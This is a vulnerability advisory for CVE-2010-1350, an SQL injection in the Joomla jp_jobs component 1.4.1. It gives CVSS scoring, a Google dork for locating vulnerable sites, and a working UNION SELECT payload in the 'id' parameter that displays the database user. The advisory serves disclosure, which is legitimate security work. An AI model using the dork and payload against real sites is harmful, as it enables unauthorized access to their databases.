Joomla component jp_jobs 1.4.1 SQL Injection vulnerability

2010-04-06 / 2010-04-07

Credit: Valentin Hoebel

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2010-1350

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: Joomla component jp_jobs SQL Injection vulnerability
# Date: 03.04.2010
# Author: Valentin
# Category: webapps/0day
# Version:
# Tested on:
# CVE :
# Code :
:: General information
:: Joomla component jp_jobs SQL Injection vulnerability
:: by Valentin Hoebel
:: valentin@xenuser.org
:: Product information
:: Name = jp_jobs
:: Vendor = Joomla! Projects
:: Vendor Website = http://www.joomlanetprojects.com/
:: About the product = http://extensions.joomla.org/extensions/ads-a-affiliates/jobs-a-recruitment/11163
:: Affected versions = All, latest one is 1.4.1
:: Google dork: "inurl:index.php?option=com_jp_jobs"
:: SQL Injection vulnerability
The component is extremly useful when it comes down to implementing some sort of job portal into your Joomla website.
Injecting SQL commands while viewing details about a job is possible.
Vulnerable URL
http://some-cool-domain.tld/index.php?option=com_jp_jobs&view=detail&id=1
Test URL
http://some-cool-domain.tld/index.php?option=com_jp_jobs&view=detail&id='
Exploit vulnerability, e.g. by displaying the MySQL user:
index.php?option=com_jp_jobs&view=detail&id=1+AND+1=2+UNION+SELECT+concat(user())--

References:

http://www.securityfocus.com/bid/39191

http://www.joomlanetprojects.com/index.php/en/joomla-projects-downloads/joomla-1/joomla-1/38-comjpjobs.html

http://xforce.iss.net/xforce/xfdb/57500

http://www.xenuser.org/documents/security/joomla_com_jp_jobs_sql.txt

http://www.exploit-db.com/exploits/12037

http://secunia.com/advisories/39325

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Joomla component jp_jobs 1.4.1 SQL Injection vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.